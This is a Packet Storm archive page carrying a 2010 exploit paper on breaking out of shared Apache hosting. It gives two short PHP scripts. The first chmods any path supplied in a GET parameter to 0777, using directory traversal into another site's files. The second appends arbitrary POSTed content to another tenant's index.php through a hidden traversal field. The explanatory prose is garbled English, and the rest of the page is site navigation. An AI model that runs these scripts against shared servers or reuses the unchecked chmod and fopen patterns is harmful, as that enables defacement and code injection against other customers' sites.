exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Whitepaper Called Changing Chmod Permissions / Traverse Base FTP / MultiHosting

Whitepaper Called Changing Chmod Permissions / Traverse Base FTP / MultiHosting
Posted Apr 27, 2010
Authored by GlaDiaT0R

Whitepaper called Changing Chmod Permissions / Traverse Base FTP / MultiHosting.

tags | paper
SHA-256 | 47d354ab742a62abe8ed6892ae1a3ea543cd854242821e93cac52e9e2863de68

Whitepaper Called Changing Chmod Permissions / Traverse Base FTP / MultiHosting

Change Mirror Download



# Exploit Title: Changing CHMOD permissions / Traverse Base FTP/MultiHosting

# Date: 24/04/2010

# Author: GlaDiaT0R



#########################################################################
# [+]Title: [Changing CHMOD permissions / Traverse Base FTP/MultiHosting]
#########################################################################
# [+] About :
#########################################################################
# Written by : GlaDiaT0R
# Contact: the_gl4di4t0r[AT]hotmail[DOT]com
# Team : Tunisian Power Team ( DarkGh0st.Net )
# Greetz: Allah, Boomrang_victim, M4rw3n_Neo, Alphanix & all my friends
#in security Challenge days 2010
#########################################################################
# [+] Summary:
# [1]-Introduction
# [2]-Detection
# [3]-Exploit
#########################################################################

[1] Introduction


Writing to a third party file (fopen), or upload a file desired function are already at risk for web applications,
but they can also be certain that neglects Multihosting apache permissions CHMOD modified law.
Indeed, a hacker with a acces a site Multihosting could then modify the right CHMOD file and directory
based on other web application presents the breasts of the host then giving the opportunity for the attacker to write code intended to have access to the source,
and uploading the file from its location due to pampers (vulnerable to changes in law chmod).
2 feat enough: the modification of law chmod a desired location (detection) and writing on a (fopen)
(Or upload the file selected) through the designated FTP (although sour on the same host).

-----------------------------------------------------------------------------------------------------------------------------------------------
[2] Detection

chmod.php?path=../../other website in the server/index.php

<?php
$path = stripslashes($_GET['path']);
$ok = chmod ($path , 0777);
if ($ok == true)
echo " CHMOD OK , Permission editable file or directory. Permission to write";
?>


Now, we have "Operation not permitted" in case of failure, and of course "Permission editable file or directory. Permission to write" if successful

-----------------------------------------------------------------------------------------------------------------------------------------------
[3] Exploit
Once you find a write permission based on another FTP based on the vulnerable MultiHosting,
it's all! Now , you have to upload or modify it contained a file.


==================================================================

exploit.php :

<?php

@$filename = stripslashes($_POST['filename']);
@$mess = stripslashes($_POST['mess']);
$fp = @fopen("{$_POST['filename']}", 'a');
@fputs($fp,"$mess <hr size=\"1\" color=\"black\">");
@fclose($fp);
?>

<form name="form1" action="exploit.php" method="post">
<p align="center"><b>
<br>
CODE :<br>
<textarea name="mess" rows="3"></textarea></font></b></textarea>
</font></b> <p><input type="hidden" name="filename" value="../../AUTRE WEBSITE SUR LE MULTIHOSTING/index.php"></p>
<center>
<input type="reset" name="Submit" value="Delete">
<input name="go" type="submit" value="Send" onClick="javascript:this.style.visibility ='hidden';">
<center>
</form>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Changing CHMOD Permissions Exploit - Contact : the_gl4di4t0r[AT]hotmail[DOT]com</title>
</head>
<body>
</center>
</body>
</html>



####
Links | Fopen: http://php.net/manual/fr/function.fopen.php
CHMOD: http://en.wikipedia.org/wiki/Chmod
GOOGLE:http://google.com
####


_________________________________________________________________
Hotmail : une messagerie fiable avec la protection anti-spam performante de Microsoft
https://signup.live.com/signup.aspx?id=60969


Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close